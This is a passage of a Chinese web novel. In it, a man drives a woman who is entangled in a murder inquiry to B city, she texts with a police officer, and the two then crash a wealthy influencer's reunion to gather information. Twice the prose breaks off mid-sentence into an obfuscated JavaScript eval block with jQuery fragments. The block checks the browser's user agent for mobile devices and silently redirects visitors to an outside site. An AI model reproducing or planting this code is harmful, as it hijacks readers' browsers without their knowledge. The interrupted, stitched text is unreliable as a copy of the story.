两人心思都是千回百转。以至于此刻的静默有种敲钟鸣鼓似的聒噪。
周随容忽然想起来,自己原本是决定把人送到B市就回去的。这意志是什么时候被瓦解的?
周随容握着方向盘的手指用力到发白,感觉自己前方驶去的是一条不归路。
就她这,还给人普法???法师的法吗?
方清昼低着头跟人发短信,心虚气短地解释道:“她在请我配合调查。开一句玩笑。”
周随容无法说服自己相信,从胸腔挤出一声“嗯”,尽可能柔和委婉地道:“你知道主动自首可以从轻处罚吗?”
方清昼说:“我知道。”
周随容听出她语气里的执迷,憋着气道:“那你知道……”
方清昼忙着回复,抢白道:“我知道!!”
她不知道是在对周随容还是对手机另一端的人,说:“我只是需要一点时间,一个缓冲。”
周随容深深吸了口气,基于对方清昼的了解,生生咽下了将要溢出的质问。吞咽了几次,喉咙依旧干得发疼。他竭力让自己保持住平静的心态,问:“你的缓冲在b市?”
方清昼头也不抬,瓮声瓮气地说:“是。”
周随容问:“我可以撤回前言吗?”
“你是说前男友什么的那句吗?”方清昼终于舍得抬头,欣慰而大度地说,“可以。”
周随容:“……我是说‘我不管你去B市做什么’这句话。”
方清昼淡淡地“哦”了一声。
周随容商量道:“那一起撤回可以吗?”
方清昼不大乐意:“这么顺便吗?“
周随容笑了出来,不过笑意转瞬即逝,被高垒的心事压塌。
他混乱到不知道该说什么,似乎说什么都只会导致事态加剧,进而无可挽回。
想到过激的措词万一导致方清昼失去对他的信任,他没能在悬停前拉扯住她最后一把,恐慌跟畏惧的寒意从简直要从骨骼的缝隙里冒出来。
周随容近乎消极地思考,潜意识里也明白自己是在利用各种理由推脱,乃至诓骗自己。残存的理智在嚎叫,脆弱得岌岌可危。可又好像别无出路。反正无谓的争吵绝对是最为错误的一条。不如沉默。
方清昼埋头跟季和发短信。
方清昼:他听到了。
季和:那太好了。
方清昼:??
季和:不要小瞧警方。我担心祖国的大好青年因为一念之差把自己送入铁窗,这是谁都不想看到的损失。
季和:如果周随容真的杀人了怎么办?有违于你的规则怎么办?如果他知道真相后又一次选择自杀怎么办?你真的考虑好所有后果了吗?
方清昼:他不会杀人。
季和:你的抵触不就是证明你在动摇吗?你的信任似乎并不够坚定。
方清昼:我只是需要一点时间。
方清昼:如果你们找到任何可以给他定罪的证据,我马上带他去自首。否则不要再这样说了。
方清昼一条条地删除上面的记录。
方清昼:沈知阳提到的那个人找到了吗?
季和:目前还没。咖啡店的监控里没找到人。他每次出现监控就会被提前关闭。
季和:我们去找了市局的技侦同事给沈知阳做模拟画像,用人像组合系统拼了半天,细化调整了半天。
她回复的速度多了几秒的空档。方清昼猜过程应该有些许曲折。
季和:我们现在正跟她的同事约时间去组合人像。实在不行只能去查周边监控了。
季和:藏尸的那套房子,我们联系到房东。对方说两个月前有人加价买走了他们的房子。因为他们暂不回国,无法过户,对方也表示不介意。线上签完买卖合同直接给他们打了钱。联系跟转账的账号都是国外的。合同后附的身份证明是一位女性,我们正在尝试联系。
方清昼:他行动明目张胆,留下太多漏洞,没有在认真隐瞒自己的身份。你们应该很快就能知道他是谁了。
季和忙到虚脱,跟方清昼聊天的时候有种想把破罐子摔了再把碎块踩成齑粉的颓废:知道了也没什么用,顶多请他喝喝茶。除非他磕到脑子幡然醒悟主动认罪。
季和:B市那边有什么消息吗?
方清昼:我还没到。
季和:?你们是在路上秋游吗?就算骑的是驴,多拍两下屁股也该到了吧?
方清昼:【定位】还有一半的路程。
季和对她的效率意见颇大,再次羞辱:你们开的是破三轮?
方清昼反问:B市那边有什么消息吗?
季和:能有什么消息?没有实际证据也没有嫌疑人具体信息,不可能立案,想长心眼儿都没地方。而且B市前段时间在郊区发现了一具女尸,怀疑是嫖客跟失足女发生冲突后激情杀人。现在全市忙着扫黄找嫌疑人,拘留所里都快塞不下了。
方清昼孤陋寡闻了,略微震惊道:嫖C的人那么多?
季和:那倒是不至于。经济犯罪,搞网络诈骗、非法经营之类的也不少。还有各种原因发生口角或斗殴的、交通肇事的、棋牌室互相举报的……这年头的人都心浮气躁。
季和:你回A市,我找扫黄的朋友给你讲讲那些让人声泪俱下的爱情宣言。跟你探讨一下爱情的本质。
方清昼:不用。
方清昼:我晕车,不跟你说了。
方清昼收起手机,偏头看了眼周随容。
两人各怀心思,彼此呼出的空气仿佛变成一团杂乱纠缠的线,时间从线团中抽离,每一秒都变得漫长。
这样的状态持续到中午十二点左右。二人途径一个市区,周随容下高速找了家评价不错的餐厅。
餐厅附近没有停车位,周随容在门口把人放下,让方清昼先进店吹空调。
然而等他找到车位赶回来的时候,方清昼还等在路边。
她站在一块方形车阻石上,从高处眺望着他那个方向的街道。身形清瘦挺拔,飘散的长发中透出细碎的金光,整个人看起来十分温暖。
她见周随容走近,说出深思熟虑后的提示:“我觉得我们可以明天下午再抵达B市。”
周随容唇角浮出不自觉的笑意,仰头望着她,了然道:“坐车累了。”
“有一点。”方清昼说,“当然我不是说你的开车技术不好。但下次还是坐动车吧。”
她抬手按住周随容的肩,让他停在原地。
方清昼知道现在不是什么好的时机,不过再不透露部分实情,对周随容不大公平。万一小周判定风险过高,半途跑路,那她得不偿失。
她占据了高处的有利地形,毫无征兆地,把删减后的内容告诉他:“我不是跟你说过A市发生了一起命案?那个逃跑的同伙对我相当了解,让凶手事后假装成我。案件本身跟我并没有直接关系,不过涉及到了我过去的一些研究,所以警方不得不关注我。”
周随容只能给这个故事打五分,说:“凶手怎么假扮你?她整容了?”
方清昼高深莫测地说:“不,一种更高端的手法。”
周随容盯着她看了许久,剖析的目光代替了太多语言,对着她的眉眼轮廓细致地描了一遍,到了嘴边只是说:“方清昼,你知道谎言发展到最后,通常会变得不可收场吗?”
方清昼截然道:“不可能。我说的都是实话。我只是选择性描述事实。”
周随容见她说得底气十足,揶揄一句:“好,学会说谎了,对付我?”
方清昼嘴快跟上:“你觉得我是在对付你吗?”
周随容怀疑自己被扎了一下,但看方清昼的表情又实在不是,狐疑道:“你是在呛我吗?”
方清昼眨了眨眼睛:“我没有,哪一句?”
周随容说:“你最近为什么喜欢用反问句来阴阳怪气?”
方清昼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367395|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当即有理有据地抗辩:“反问是一种和善且尊重的表达。给予对方思考跟斡旋的空间。所以老师在回答问题,员工在提出建议后,都会反问一句‘您觉得呢?’,来作为结语,它有什么问题?”
周随容:“……”
方清昼见他愚钝,继续给他举例:“比如有人问,‘你可以接受我的采访吗?’,a选项,‘你觉得我可以吗?’,跟b选项,‘不行。’,两者比起来,前者更富有人情味。”
“我选b!”周随容察觉她在自己不在的时间里学到了奇奇怪怪的知识,提心吊胆地说,“你不要再用反问句了。它不适合你。”
方清昼吃了一惊,思忖过后,不甘地质疑:“林姐都是这么说的。”
周随容说:“她的确是在阴阳怪气。”
方清昼皱着眉,明显被绕得糊涂,不悦嘀咕道:“好麻烦。”
周随容摸了摸她的脸,后者皮肤被太阳烘得发烫,微微出汗,感受到凉意,站着没动。周随容先前的烦躁便跟着热气蒸发散去大半。
他认为多半是自己杞人忧天。方清昼怎么可能做违法乱纪的事?她根本体会不到那种恶意。
方清昼鲜少跟他提及自己的过去,因为觉得那段往事乏善可陈。周随容只能从她偶尔的透露中拼凑出大概的画面。
——很小的时候父母离婚。感情破碎的两人最后的相处方式,是不断用最恶毒的语言进行着最赤^裸的攻击,且致力于要让方清昼来指证对方的失败和过错。在崩坏前夕,将对方和自己撕扯到面目全非,把丑陋的面目完整清晰地留给方清昼,然后舍弃了这段疯狂而病态的关系,各自奔赴崭新的前程。
方清昼不到十岁就开始了独立生活。身边接触最多的是两个照顾她起居的保姆。她不喜欢跟保姆做过多交流,每天绝大多数时间用于学习。
求学阶段,她身边的同学、师长,都对她带有年长者的包容跟体谅。不介意她的固执和自我。不需要她任何的将就与配合,会主动地听取她的声音跟需求。
大众出于对天才的偏爱,也不会指正她无意下的冒犯。反而会在她尝试融入社会化的过程中,鼓励她更加的直白和坦率。
她不必在乎别人的脸色,不必在意言语的表达,享受着无数人的吹捧和称赞,随心所欲地长大。
她像是一个巨大的发光体,也因此跟所有人都保持着难以触及的距离。
周随容有时候会想,如果方清昼没有遇到自己会是什么样子。
或许她依旧站在光线聚焦的高台上,平等且疏离地注视着从身边路过的每一个人。
而不是会在背后悄悄拉着他,跟他讨论“某某是不是不开心”,“刚才气氛那么尴尬大家为什么要笑?”,又或是,“谁谁的表情看起来很为难,他需要我的帮助吗?”。在得到印证后则得意地表示:我就知道!
即便她可以适应并享受这种孤独,周随容依旧会不可抑制地感受到心疼。
周随容伸出手,搭住她的腰,牵她下来,说:“先吃饭吧,大思想家。”
等到吃完饭,坐上车,方清昼还在琢磨这个事情。
“小兴问林姐,他可不可以请一天假。林姐说,‘你觉得可以吗?’,小兴就说谢谢林姐。”
周老师偏头看她,眼神中带着鼓舞:“林姐是在警告他。第二天小兴应该来上班了。”
方清昼声量渐低,到后面细若蚊蚋:“那我之前跟林姐说,我要暂时请假。她问我多久。我说两个月。她说你觉得两个月可以叫暂时吗?”
实际上周随容也不能违背她意愿地给出正确的答案,会不讲原则地进行偏帮,他安慰说:“她跟你表述不清楚,是她的问题。所以你回了她什么?”
方清昼两眼一闭,神色恹恹地说:“忘了。”
方清昼忘了的可能性基本为零。大概率是觉得自己完了。
第二天上午11点,两人终于离开B市高速收费站。
18.融入
B市没有什么得天独厚的优势,经过数十年现代化的浸染,城市的规划显露出一种割裂的外貌。
繁华的地段矗立着一栋栋拔地参天的高楼,中间夹杂着颇具时代气息的老旧楼房。犹如璀璨朱贝表面沾染着泥沙,被安放在一个不大合适的匣子里。
拥挤路段的车道修得太窄,周随容在堵塞的长流中挪动了近一个小时,艰难拐到酒店的入口。
这家梁益正即将举办婚礼的酒店告知他们,他们只能将房间订到9月13号,之后四天时间没有多余的空房。
周随容订了两间套房,洗漱过后打开电脑,加紧完善方清昼给他捏造的摄影师人设,以便明天可以登台表演。
他翻了遍群员的信息跟聊天记录,发现方清昼所谓的“有发挥空间”这句话存在严重不实,带着证据去隔壁找她理论。
“方清昼,这群里的人起码比我大了五六届,你让我去扮他们的同学?他们是瞎吗?”
方清昼装作舟车劳顿后精神不济的样子,坐到书房的沙发上,故意曲解地回复:“这种小事,你看着安排。”
周随容朝她走过去,方清昼给他让出位置,划重点说:“你只需要关注梁益正就可以。”
周随容哂道:“你以为这个人好骗?”
梁益正今年34岁,是个颇有声量的网红。
周随容顺藤摸瓜找到了他的两个视频账号,一个主要发布工作室的员工日常,有一百多万粉丝;另一个账号做个人生活分享,偶尔会发五花八门的科普。有三百多万粉丝。这些只是单平台的数据。
此外,他在B市开了两家餐饮、一家酒吧,以及一家兼营桌游跟剧本杀的店铺。生意都十分红火。
父母职业保密,不过根据网友抽丝剥茧的分析,推测他应该是个富二代甚至官二代。
他早期出镜时会特效遮挡住左眼,自述是初中时期因校园暴力被同学殴打导致眼球被摘除,眼睛周围也留下了丑陋的疤痕。后来靠这段经历吸引到一大波粉丝,成功起号,他便取消了特效,选择直面镜头,不出意外又引起一阵热度。
从各方面来说,这人擅长把握人心,天生适合吃自媒体这碗饭。
周随容打开几段梁益正比较火的直播切片,要跟方清昼一起看。
方清昼对此感到索然无味,刚开始并肩跟他坐在一起,到后面三心二意,头慢慢歪了过来。
周随容稍稍侧过身,方清昼便闭着眼睛靠在他胸口睡着了。
两人的皮肤隔着单薄的布料互相传递着温度。
周随容按下暂停,胸腔发出几声沉闷的震动,垂眸看着她细密的、小幅颤动的眼睫,觉得她装得实在辛苦,再下去脖子都得僵了,抬手揉了揉她的头发,在她耳边轻声说:“方老板,你装睡的水平亟待改进。”
方清昼掀开眼皮,一点点抬起头,与他对视,声线平稳地说:“事实上,只要仔细观察,几乎没有人可以伪装成功。因为眼珠会在不同睡眠状态交替下呈现不同的转动规律,而无论是静止、缓慢,还是快速抖动,都极难复刻。同时装睡的人无法精准控制身体肌肉和呼吸节奏。但是——”
她一脸正直地谴责道:“但是,从礼貌上来说,一般是不会拆穿的。”
周随容全然没有反省的态度,坏心肠地笑说:“糟糕,要方老板教我为人处世了。”
方清昼直接捂住他的嘴。
周随容按住她的手腕,收敛笑意,马上换了副庄重严肃的表情,牵强地转折:“说正事。梁益正的生活有一半都放在了网上,这还不够吗?你一定要跟他接触?”
方清昼:“我想知道他到底是个什么样的人,为什么会成为那个人的目标。”他还是不是他。
周随容抓着她的手让她靠近,语气温柔得像是劝诱:“那见过之后呢?我们回A市?你有什么在意的,我找私家侦探帮你查。如果你不放心,我亲自去。可以吗?”
周随容知道自己的理智时常在脱离掌控。一和方清昼说话,就会被动忘记她身上的麻烦、欺瞒和危险,不管不顾地跟她在一起。
他应该更警惕,而不是忍不住接近,又对她微笑、妥协。仿佛中间深不见底的裂缝,与未来覆水难收的后果都不存在。
方清昼的经历让她对现实的一切充满自信,但社会从不是那么简单。在各种明文标注的条例外,还有无数看不见的规则跟红线。他不能跟着冲动。
即使是清白被诬陷,他也得让方清昼尽快回去自首,等待真相调查清楚。
周随容用她能接受的方式,把姿态放得很低,说:“你设身处地从我的角度想想,我没有闲暇思考自己的事情了。我怎么受伤,为什么失忆,我们为什么分手,你为什么放任我在医院不来搭理我,我会不会因为你成为共犯……很多问题,这些你一个都不回答我,我还是陪你来了。我的私心是偏向你的,你能不能听我一次?”
“这个我设身处地不了。我的处理手段可能会有点极端。”方清昼低声喃喃一句,认真道,“你脾气真好。”
周随容:“……”
他喉结上下滚动,眉头还没皱起,对上她的眼神,一口气先泄了出去。
他看见方清昼平直的唇角上又露出某种隐晦而深重的情绪,做不到她试图展现的那样平静自然,便跟着有种难以言喻的伤心,觉得自己不该再问了,他之前明明答应过。
他握住方清昼发凉的指尖,刚要说算了,就听对方说:“你接着查梁益正,这些问题或许都能得到解答。到时候你也许会后悔,责怪我不该带你出来。”
周随容一直当她语焉不详的说辞是种推却,如今抛开最初那些不冷静的情绪,从只言片语感受她深潜的含意,悟到点什么,稍怔后低声问:“真的?”
“嗯。”
周随容若有所思地点点头,松开方清昼的手,端起电脑说:“我回去继续看直播录屏,你先休息。”
他走出房间,又回过头,张着嘴想说点什么的模样,门先一步自动合上了。
方清昼起身准备去开,桌上的手机亮起屏幕,显示收到一条短信。
屏幕在面容解锁后显示出省略的内容。
【我不会,你不要污蔑我。】
过了会儿又发来一条。
【不要担心,好吗?】
·
空调外机运行着吹出燥热的气流。
山林间落了厚厚一层深绿色的叶片,覆盖在无人打扫的道路。路的前方延伸向一栋欧式风格的别墅。
聚会的地点在早晨临时改到郊区的这栋别墅。
方清昼关注了梁益正的账号,出发前收到他开启直播的提醒。
他在直播中说这里是他自己的度假别墅,今天请了几位厨师到现场做饭,这样可以更安心地跟朋友畅谈。
一群人坐在餐桌旁有说有笑地聊起高中往事,内容大多围绕着梁益正,有些过于殷勤的语气带着明显的巴结。
周随容觉得这场面会影响方清昼的食欲,两人吃过午饭才往目标地点赶,抵达时迟到了一个多小时。
周随容率先推开大门,从正午的强光中迈步中进去。几个坐在同一侧的人就见直播界面的评论区疯了一样地翻动,速度快到看不清楚具体文字。
“这谁?好帅!”
“梁总,你们还请了男模?”
“靠,这兄弟是真帅。”
“求求,让我摸摸他的胸肌。”
别墅内的一群人下意识抬头望向门口。
周随容穿了件白色短袖,空调的冷风与门外的热气冲撞形成对流,将质感柔软的衣服吹得紧贴他的身躯,勾勒出他紧实的肌肉线条和劲瘦的腰身。
他姿态从容优雅走到餐桌前,笑了下,问:“在直播吗?抱歉,能不能把镜头转个方向。”
出口的是询问,但不等几人同意,直接把手机摄像头对向另一面的墙壁。
梁益正眉心跳了下,随即看到又一个人走进来,后者依稀的熟悉感让他吞回了将要出口的质问。
周随容介绍道:“这位是我老板,一起来凑个热闹。”
方清昼含蓄点了下头。气质中的清冷让众人无端觉得这已是极大的友善。
现场十多人面面相觑,用眼神无声交流了一番,确认这里没一个认识他们。
那边周随容顺手拉开两把椅子,跟方清昼一同坐下,恣意得如同回了自己家。
也就二人的形象太占便宜,入室抢劫都要让户主先耐着性子问一句“是不是走错屋了?”,才没在第一时间被人轰出去。
现场被震得安静了足足十多秒。
身为主人的梁益正保持缄默,坐在他左手侧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374055|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一位穿红裙的女士按捺不住,代替众人客气地问:“你们是?”
周随容笑说:“我是群里的小周,张鸿的表弟。他有事来不了,托我过来送句祝福。”
众人相继“哦”了几声,表情上无不写着“冒昧”两字。对他悍匪似的社交能力感到有点惊恐,偏偏无法将这粗鲁的行为与他外在的气度联系上。
周随容自顾着道:“其实我也是三中的学生,各位是我的学长学姐,只是我上高中的时候,梁学长已经毕业了。当时学校里留着不少学长的传闻,我一直想见一见学长,可惜高考结束就去了A市。这次听我表哥说梁哥要结婚了,本来想当他家属过来蹭饭,没想到他居然不回来。我就摸着机会自己来了。诸位不介意吧?”
他话里奉承起这场饭局的主角儿,众人恍若初醒,笑着打趣说:“老梁,你看看,你的粉丝都追到线下来了!”
梁益正很浅地笑了一下。
几人硬着头皮跟周随容搭话。
“小周是摄影师对吧?在B市要待多久?”
周随容说:“中秋假期结束吧。”
“你相机带了吗?给我们拍几张呗。”
周随容笑着说:“抱歉,严格来说我现在还在工作时间,只服务一位客户。能不能帮别人拍照,需要请示我的老板。”
众人目光随之转向方清昼。
方清昼从进门起便一言不发,目光对着落地窗外的小院,安静到存在感稀薄。闻言才用视线扫了圈众人。
正常情况而言,玩笑的对象会顺水推舟地表示一下随意,让话题在和融的气氛中往后推进。
但方清昼本身厌恶拍照,一下子考虑到后续可能的发展——假如周随容给众人照相时,自己独立在外,貌似会显得更不恰当,便从源头推脱道:“再说吧。”
细细品味一下,这样的拒绝未免有点不尊重人。毕竟大家虽然自称牛马,又不是真的卖身,拍张照片的自由都没有,把老板的身份太过当真。
好几人打量的眼神因此带上些许古怪,在两者之间来回扫视。
周随容用指尖敲了下面前的空酒杯,状似无可奈何地说:“好吧,陛下有旨,说不允许。看来我没荣幸领这个差了。”
他舒缓安定的气质说什么都给人一种春风拂面的好感,哪怕是在婉拒。
几人都发出笑声,赶紧把事情揭过。
“稍等一下。”梁益正大概是看直播间风向不对,拿着手机离开座位,“我带粉丝逛一逛别墅。你们慢聊。”
他招呼打得敷衍,余光半点没往众人身上瞟,俨然是压抑着不愉快。
主人甩袖离席,让气氛焦灼得宛如地底下埋着火^药。
好在现场都是社会人士,适应各种极端环境,众人喝了口酒压惊,重新找回节奏。三三两两地靠在一起闲聊起来。
没了直播镜头,话题变得无拘无束,逐渐吹着大话往天上飘。
方清昼听到对面的男人问了一句“你们炒不炒股”,瞬间带活濒死的场面,几人就着醉意高谈阔论。嗓门最大的一个喊道:
“现在的散户啊,不会看走势图,不会看盘锻炼敏感度,不会分析报表,不会查新闻政策判断行业前景,甚至连哪家企业是行业龙头都没弄清楚,唯一的交易理论是凭感觉,风风火火地冲进去,亏了个底朝天,还死死握着不止损。傻子这么多,但凡有条件,谁忍得住不骗啊?”
这一波扫射范围太广,好些人脸色又变得难看。不过今天离奇的事情发生得太多,这点煞风景的虚荣根本不值一提。
方清昼倾斜着重心靠向周随容,抵住他的肩膀,深吸一口气。周随容及时打断她未出口的感叹:“不许说。”
难道他不想低调地融入吗?
方清昼拿出手机,编辑信息。
方清昼:你怎么不问他们梁益正的事?
周随容:我要缓一缓啊老板,我后脑勺还在发麻。
方清昼:【海獭挠头】
周随容:【海獭挠头】
周随容刚跟边上的男人扯了几句,一阵短促的脚步声“哒哒”响起,就见梁益正去而复返,春风满面地从楼上下来。
他关掉了直播,手里提着两瓶红酒,坐回到原位,对着方清昼风度翩翩地笑道:“方总想吃什么?我让厨师回来给你加几道菜。”
19.打探
梁益正一声“方总”,叫现场絮絮不止的说话声小了下去。那些分散的视线再次汇聚到方清昼脸上,各式端量探究的眼神凑到一块儿,强烈得要在她脸上挖出个洞。
方清昼说:“不用,我不饿。”
梁益正抬抬下巴,不远处的男人自发带着器具过来开瓶醒酒。
梁益正的身体朝向方清昼,两手交握,大方又带着点正式的姿态说:“刚才一下子没认出来,怠慢了,真不应该,亏我还是吃互联网流量这口饭的。着实是没想到方总这样的大忙人,会出现在我的高中聚会上。太让人惊喜了。”
方清昼知道,这种时候应该跟着假意恭维,可她对着梁益正那张脸,用了两秒的时间绞尽脑汁,也只挤出来一句:“谢谢。你的工作进行得也不错。”
方清昼坐在角落,与梁益正离得最远,两人中间隔着差不多整张餐桌。她的音量又不大,众人为了能听清她说话,纷纷停下交头接耳,恍惚从聚会被拽到了工作会议现场。
梁益正倒了杯酒,旁若无人地朝她走去。
方清昼抢先说:“我不喝酒。”
梁益正脸上笑容不减,停在她跟周随容中间,遗憾说:“太可惜了。”
手腕一转,递到周随容的跟前:“那周学弟,我们喝一杯?”
方清昼两指顶住酒杯,用了点力,居然没能推动,抬起头说:“他开车,也不喝。”
“叫个代驾就好了,给别人一点工作机会嘛。”梁益正转动眼珠,从侧面斜着视角瞥过去,对周随容调侃道,“出来玩儿,一口酒都不能喝啊?”
杯子里的红色液体在他玩味的眼神中粘稠摇晃,空气里飘散着清香而浓烈的酒味,边上一圈人挂着一脸假笑不错眼地看着他们,像是都喝出了醉意,钳口结舌。
梁益正话音落地后的片刻,仅有呼吸声此起彼伏。一股说道不清的诡异感直蹿头皮。
下一秒,围观的众人醒过神来,热情起哄道:
“喝一口而已,小周,你不是梁哥的粉丝吗?这可是梁哥亲自给你倒的酒。”
“我陪一杯。”
“你不就是想喝吗?还找那么多借口。”
“小周,你梁哥过几天就要结婚了,不敬一杯说不过去吧。”
梁益正单手支在周随容的椅背上,听着众人哄闹,笑容温和得体。
方清昼深度研读过该种情景,往他身上无声敲下几个词。
——轻慢、狂妄、惺惺作态、独断专行。
如果把她讨厌的几种特质排个序,这几条绝对名列前茅。
周随容在愈发高涨火热的氛围中接过酒杯,弯曲的眼眸中散发着清澈的微茫,没有半分被高架起的不自在,浅抿一口,说:“方总,那回去的时候只能你来开车了。正好可以重温一下十年前驾校里学到的知识。”
方清昼一脚踹飞他搭来缓和的台阶,对着欢呼的几人说:“真吵。”
梁益正浑然没有始作俑者的自觉,一派体贴入微的口吻问:“楼上有安静一点的书房,里面有电脑,我带你上去看看?”
方清昼眼底带着厌烦,还是颔首,起身跟上。
错身时,周随容一把握住她垂落的手,但没使劲。
方清昼低下头,对上他俊秀含笑的脸,慢动作似地把手抽了出来,在他肩上拍了拍。
众人看到这种露骨的表现,对二人关系的猜测得到证实,一时表情有些五彩纷呈。
等方清昼的身影从楼梯口消失,周随容收回视线,他对面的男人开口邀请道:“那边有个台球室,小周,要去玩会儿不?”
男人额前头发有些稀疏,体型微胖,一张脸总是笑得和气,但眼睛细长,五官不仅跟英俊无缘,还给人一种精明不讨喜的观感。
周随容从善如流地应道:“可以啊。”
他推开椅子,边上几个男人见状跟着站了起来,拎上几瓶酒,嚷嚷着要一起凑热闹。
五六人走进角落的台球室。
微胖男人落在最后关上门,急不可耐地问:“小周,你那个老板,不会是方清昼吧?”
周随容偏过头,略带意外地说:“你认识她?”
“那肯定啊!”男人激动地说,“她爸妈都是做生意的,听说是A市比较知名的本土企业,不过还是她更厉害。当年她拿奖的时候上过热搜,一张领奖的合照火到出圈。到现在,每一届大奖赛结束还会有营销号专门提她一两句。后来三夭不怎么公布她的照片了,但偶尔还会漏点消息。话说她跟你出来不带保镖吗?”
只有方清昼会觉得自己低调到无人知晓。
周随容抬手压了压,故作刻意地说:“嘘。她不喜欢太拘束的环境。”
“可以啊兄弟!你太厉害了!”男人打量着周随容的脸,一时间心底的酸味要从嘴里呛出来,又不得不服气,上前勾住周随容的肩膀,贴得离他很近,挤眉弄眼地道,“说说,怎么追到手的?传授一下呗。”
边上几人闻言也靠近过来,一副老友熟稔的模样,暧昧地道:“你小子打哪儿学的?怎么认识的?”
周随容周身被烟酒的味道环绕,他不舒服地顶开肩上的手臂,与几人拉出一点距离,脸上依旧笑吟吟的,看不出深浅,说:“不是你们想的关系,还在追呢。”
男人张眉努眼地说:“她花时间陪你参加一场毫不相干的同学会,还要追吗?女人矜持一点而已,这事儿绝对成了!不信你开口试试。”
周随容垂眸笑了笑,说:“是她在追我。”
微胖男人登时被噎住,后半段话像口老痰一样卡在嗓子眼,恶心得够呛。
周随容轻描淡写地炫耀:“她经常去我们工作室,给我送花啊什么的。听我说没工作,就给我介绍客户。隔三差五喊我出去吃饭,我说没时间,她就直接订高级餐厅的外送。我告诉她今年中秋我要回B市见见朋友,她想跟过来,就用找我拍照做借口,连手上的项目都暂缓了。我决定这次回去,跟她处处看。”
男人嫉妒得发狂,表情扭曲。
一人半真半假地说:“谈恋爱费钱啊。你小子存款够吗?别因为消费习惯给搞崩了”
周随容诧异地说:“拍照才挣几个钱?她在意这个怎么会喜欢我?她有钱肯定她出啊。”
众人:“……”
众人对他的印象已根深蒂固成一个油嘴滑舌、装腔作势,还厚颜无耻的小白脸。
这种暴露到明面上的道德瑕疵跟贪慕虚荣的本质,迅速拉近了几人的关系。
“你们认识多久了?”微胖男人说,“她这样的人,身边都是各行各业的高智精英,你们能有共同话题吗?欲擒故纵玩久了她可能会失去兴趣。朝三暮四不是只有男人才会。”
“好几年了。她不会的。她说是以结婚为前提在追求我。”
周随容靠在台球桌上笑了笑,神情中的笃定跟神气太过刺眼。
边上几个想跟着嬉笑两句的兄弟,被他这话题一带,词汇库直接干涸见了底。
周随容提不起什么兴致打球,面对递到跟前的球杆,摆摆手,枯燥地叹道:“早知道不带她来了,这里有点没意思。梁学长这人吧……啧。”
“怎么了?你不会担心你老板对老梁移情别恋吧?老梁估计是想请她喝喜酒或者拍个采访,到时候消息吹大一点放出去,有面儿。”
周随容说:“我感觉他有点瞧不起我。”
“靠,你小子眼光还挺毒。没事,他瞧不起的人多了。你老板有本事嘛。”
男人把老板两个字咬得很重,尾音刻意扬了扬,听起来既像是揶揄又仿佛是讽刺。
周随容顺嘴问:“话说他未婚妻是谁?我没听说过。”
“也是本市的有钱人,他们结婚的酒店就是她家开的。”
“你熟啊?”周随容笑着道,“说说呗,他们怎么认识的?”
男人捶了他一拳,笑骂道:“问你的事你小子连个屁都憋着,光叫老子讲。”
周随容只是笑,转头看向其他人:“你们都认识吗?”
一人插话:“认识个鬼,我们没见过,听说他俩是大学同学。”
周随容:“同学?不会还是初恋吧?”
男人看着他英俊清朗的脸,暗骂了一句,猛喝一口酒,可能是情绪太过兴奋,嘴里不把门地冒出几句讥讽:“初恋?你开什么玩笑?梁益正身边的女人可以按打算。他公司里招的那些女主播,全是他相好。我估计他连脸都记不全。”
周随容斜眼扫他:“你这纯粹是在造黄谣吧?不大好吧?”
男人翻了个白眼:“不信算了,毕竟你是他粉丝。”
“粉丝……”周随容拍了拍桌面,嗤笑一声,失望地叹道,“我高中的时候听说过他很多事,什么连学校老师都会听他的意见修改课程安排,什么多有组织力、号召力。以为是他人格魅力太强,你们才不自觉地拥护他。结果今天见到,没觉得多厉害,感觉你们只是怕他。”
几人被他戳破,略有些尴尬,不过很快压下。微胖男子似笑非笑地道:“我们是怕他,要不是怕他我会来这里拍他马屁?你小子就胆大在无知了。你知道他爸是谁吗?”
周随容不当回事:“怎么?他爸能翻天啊?”
男人神神秘秘地说:“在B市,他爸还真能。”
“谁啊?”周随容被勾得信仰,“没听说这个啊。”
男人狭促地笑了起来,一脸心照不宣的表情:“网上没人敢传。前年退了,人脉还在。要不是他的账号需要营造人缘好、学生领袖的假象,我们哪有资格请他来什么同学会?”
周随容用手肘碰了碰他,兴致勃勃地道:“哥,跟我聊聊呗。我这人最大的优点就是嘴严。”
·
别墅二楼有一条环绕过楼体的长形阳台,正对着一片郁郁葱葱的树林。
梁益正领着方清昼走到书房,动了动桌上的鼠标,说:“这是我偶尔用的电脑,你需要的话随意。”
方清昼推开书房的玻璃门,走到阳台上,一手搭着栏杆,低头朝下面的花园望。
梁益正跟上来,给她递了一根烟。
方清昼没接,说:“给别人递烟之前,是不是应该先问一句,对方抽不抽烟。”
梁益正歉意一笑,没有把手收回去:“不好意思。抽烟吗?”
方清昼说:“我不抽。”
她跟了一句:“我也不喜欢吸二手烟。”
梁益正说:“那我得离你远一点。”
他两指夹着烟,后退数步,站到阳台靠墙的一头,叼着烟利落点燃。
吐出的白雾很快被风吹散,方清昼隔着两米多的距离,面容隐在缭绕的白烟之后,时而清晰时而模糊,对着他单纯地笑了一下。
梁益正举在半空的手顿住,忽然就觉得她虽然连着驳回自己的邀请,但或许没那么难以接近。只是纯粹的不喜欢烟酒。
